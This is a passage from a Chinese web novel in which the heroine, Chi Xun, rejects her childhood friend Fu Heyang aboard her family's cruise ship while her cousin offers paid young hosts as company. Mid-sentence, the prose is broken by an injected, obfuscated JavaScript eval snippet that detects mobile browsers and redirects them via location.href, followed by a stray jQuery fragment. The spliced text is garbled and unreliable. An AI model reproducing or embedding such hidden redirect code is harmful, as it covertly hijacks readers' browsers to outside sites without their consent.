“傅赫扬,你有本事当着我的面,再说一遍!”
年轻男人的声音从咬紧的牙关中迸出,平日吊儿郎当笑眯眯的大明星此刻充斥着对闯入者的极度厌恶。
“……池北哥,你也在。”傅赫扬见到他,满腔怒气稍微压制了些许,“我找池浔有事。”
池北本想直接怼回去,但他怕身边的表妹生气,只好转头,“糯糯,你怎么说?”
池浔啧了一声,原本她看到这人出现在这里时感到奇怪,突然想起来自己之前因为追爱追得疯狂,直接给傅赫扬开了同等权限。
要不是自己名下的游轮如今都是由爸妈代管,她说不定还会将游轮送给傅赫扬。
嘶……真是脑残恋爱脑。
但是,人专门把自己送上来打脸,她也只能笑纳不是?
“来还钱的?”池浔身体往后靠,是一种完全处于高位的姿态。
“你真想让我还钱?”傅赫扬不可置信,“池浔,当初要不是你仗着自己的家世,我爸不会把我送到H省这么偏远的地方,你为了一己之私毁掉了我的前途,如今又这么任性,你当我会一直这么忍耐你吗?”
“你忍耐我?”池浔想笑,“你说的是我让你在价值几千万的别墅里白吃白住,让司机开着宾利接送你,每天鲍鱼海鲜地投喂你,是对你的羞辱与挑战咯?”
“既然觉得很苦恼,那祝贺你,从今以后你无需再忍耐。”
灯光多彩夺目,在她的眼神里落下了璀璨潋滟,一字一句地强调,“我们彻底结束。”
这一句话在热闹之中清晰地传入到傅赫扬的耳朵。
他第一反应仍是不信,可对方眼里此刻充满着戏谑、不耐,唯独没有以往的痴迷缠绵。
语气仿佛冰冻三尺,“你没有正面回答我的问题,我当初被迫转学到这里,是你的责任。”
纠缠了他那么多年,现如今想摆脱他却不给个理由,哪有这么好的事情?
“傅赫扬你个臭小子,真踏马的不要脸啊?”池北拍桌而起,“你转学,是因为你惹怒了你爸,和我妹有个屁的关系?”
“但我爸并没有说要将我送走。”傅赫扬谈及一个月前发生的事情,怨恨就从眼神与语气中倾泻而出。
“池浔,你敢不承认吗?当初是你拉着你爸妈,在我爸面前提议要将我送到H省。”
池浔对他的怨恨质问无动于衷,因为事实真相根本不是傅赫扬误解的那般。
当初若不是她恋爱脑占据上风,费尽心思打听到傅赫扬的后妈打算趁此机会将傅赫扬送出国,甚至还要在每月生活费上搞小动作。
她只来得及拜托自己的爸妈出面,给傅父说让两小孩一起在H省念书互相有个伴,阻断了傅赫扬后妈的不怀好意。
但是傅赫扬却不知道这事,只知道他不过就是在学校打了个群架,但青梅自作主张,导致他只能被流放。
所以原本只是对她态度比较冷淡,从这件事之后,就彻底转变成了浓烈的厌恶。
这放在小说剧情里,也是极其虐恋酸涩的开场设定。
明明一个有苦衷,偏偏就是各种道歉礼物疯狂送,悉心照顾对方的起居,就是不张嘴解释一下原因。
而另一个就更恶劣了,就算有误会,那你就和人说清楚,关系想断就赶紧断,偏偏态度恶劣,却从不拒绝对方的示好,真是一副恶心到家的“既要又要”嘴脸。
池浔心中嘲讽,她没被剧情控制之前,小时候对傅赫扬这个竹马印象很好的,完全是个傲娇可爱的小正太。
但他的态度在初二那年先发生变化,他无缘无故地拒绝她的靠近,不再和她一起吃饭,放学也不一起回家,甚至有段时间莫名其妙地拉黑了她所有联系方式。
再之后,池浔性格高傲,开始有些伤心,但已经决定冷处理这段从两岁就开始的友谊,以为两人就此逐渐疏远,各自安好。
谁曾想,傻逼竹马态度转变的那年,她莫名其妙地陷入了剧情怪圈,被迫成为了脑残的舔狗女配。
傅赫扬态度大变的那年……是发生了什么吗?
难不成,也被剧情控制?
池浔思绪回笼,她的目光落到傅赫扬身上,打量片刻,试探问道:“傅赫扬,既然想和我翻旧账,那我们今天就把一切都说清楚吧。
——你初二那年对我态度转变,是为什么?”
肉眼可见,隔着茶几站在她对面的人,脸上迅速掠过复杂的情绪,“陈芝麻烂谷子的事,有什么好说的。”
他语气极其不耐烦,但是却明显想岔开话题。
看他如此,池浔明白了,他并没有一丝一毫被剧情控制做出言不由衷的经历。
他眼里有烦躁、怒意、尴尬,却唯独没有所谓的类似愧疚的难言意味。
他之前的行为,皆是他自由意志驱使而做出的。
包括后来的,故意隐瞒他亲爸与她的好姑父暗中勾结,贪图池家财产,对她见死不救的举动,都是源于他本身就是一个无情的渣男!
池浔心底那一丝侥幸彻底消散,不带丝毫情绪地吩咐,“来人,将无关的人赶出去。”
池北立刻抓住时机,朝游轮负责人递眼色:“快啊!赶紧把这家伙赶出去,别打扰我妹和其他帅哥玩啊!”
傅赫扬:“你赶我?池浔!你疯了,你敢赶我!”
然而侍应生早就一拥而上,牢牢抓住他的手臂,当即就要把他往门外拖。
“放肆!你们还真的敢动手,知道我是谁吗?赶紧放开我!”
傅赫扬愤怒暴起,双手握拳,直接和侍应生们干起来了。
他身手很不错,再加上侍应生们都是知晓他身份的,没敢下死手,很快,侍应生们就倒了一片。
傅赫扬抬手擦了把自己嘴角的血迹,他的目光扫了一圈四周,尤其停在那几个高挑的少年身影上,顷刻,他明白了什么。
“池浔,你以为你今天闹这一出,演这一场戏,我会注意你?”傅赫扬冷冷地勾唇,“别做梦了,我都不喜欢你,怎么可能吃醋。”
“哈?”
“你列出的那些账单,我还你不是不行,但是你以后要是还想我搭理你,你今天让我丢的面子,都要给我还回来。”
傅赫扬语气带着不满,“还有,别和秦魏他们玩。”
列出账单,是想要让他清楚她对他的付出,企图唤起他对她产生感动。
对他态度冷淡,是欲擒故纵。
而这里有那么多男的,她是故意让他看到,估计是想要让他吃醋,激发对她的占有欲。
但肯定是做戏的,不然为什么他的人脸识别信息没有被删?而他刚才闯进来时,池浔身边除了表哥,并没有其他男人近身。
池浔:“……”
她?想让他吃醋?
救命,傅赫扬是什么脑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179684|196960||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
回路,难道这就是小说男主自带的自信?
她略感烦躁,眸子浸冷,“白痴。”
本懒得搭理此人,她表哥却突然冒出头来,“你真当自己有多值得让人惦记啊,诶,你们听着,谁今天要是将我妹妹伺候的好了,谁就能拿到这么多。”
他抬手比了个五,面向那群带着号码牌的少年。
五百?五千?还是五位数?
众人心里一惊,但无论是多少,都是钱,再加上只需要他们和一个年轻漂亮的女生喝喝酒聊聊天,这钱赚得实在是轻松极了!
等他话落,所有人都跃跃欲试地举起手示意,“我可以!池少!”
陆晦之没想到今天的兼职会见到眼熟的面孔。
他看着身边的人激动的样子,有点不自在地捻住自己的西装裤缝。
这个临时顶替别人的兼职,居然是这样的服务类型吗?
不是说正经正规的兼职?正经在哪?
甚至……服务对象,还是自己同校的同学。
其实他也可以按照自己顶替的朋友所说,只要走这一趟,不要主动往上凑。
今晚能拿到的钱也有一千块了。
可是……他缺钱。
一千远远不够。
池北看他们如此积极,满意地直点头,随手点了最近的几个,“行,那你们先过来吧,走近些让我妹好好挑挑。”
陆晦之没有被点到,他心里说不清楚是高兴还是失落。
池浔看着走近的几个年轻男生,他们化了基础淡妆,鼻梁修得更高挺,轮廓线条更立体。
甚至她能够闻到他们身上喷了香水。
她轻皱眉,有些不适地露出排斥,她正想拒绝时,池北却小声提醒她,“傅赫扬还看着呢,你想摆脱他,就听哥一回。”
池浔原本不想用这法子来彰显自己不再喜欢傅赫扬,但她看到了表哥眼里隐匿的疑色。
他似乎也并不信池浔真的放弃傅赫扬,虽然嘴上嚷嚷着傅赫扬不值得,但他也依旧怀疑今天的表妹是否真的如傅赫扬所说,演了场戏。
以前不是没有这种情况,池浔为了照顾傅赫扬,甚至还使了苦肉计,以此逼家里人对傅赫扬态度好点,要在各方各面都要关照傅赫扬。
聪慧的性格全都用在了这恋爱算计之上。
池浔即将说出的拒绝只好咽回了肚子里。
看来她只能“接受”一个新男生,才能让池北相信她对傅赫扬是真没有半点感情了。
“这些人不喜欢,换一批。”池浔轻抬指尖抵住自己的鼻,稍微阻隔了下有些刺鼻的香水味,她松了口。
池北闻言,立刻高兴起来,“诶你们先下去,另几个过来吧。”
那几个被拒绝的男生露出无奈之色,垂头丧气地退下去。
新过来的几位呈一字排开,池北用眼神扫视打量,“身上喷香水的,自动下场啊,我妹闻不了太重的味道,她要是被刺激得难受了,后果不是你们能承担得起的……”
他话说完,又有一个男生目露纠结,最终也退下了。
就算要冒着风险赚钱,也不是让客人冒风险。
至此,茶几前方,就只剩下三位男生。
“妹,有喜欢的吗?”
池北回头问,而冷脸站在一边的傅赫扬却凉凉地说道,“别演了,池浔洁癖那么严重,我不信她今天真碰这里的男生。”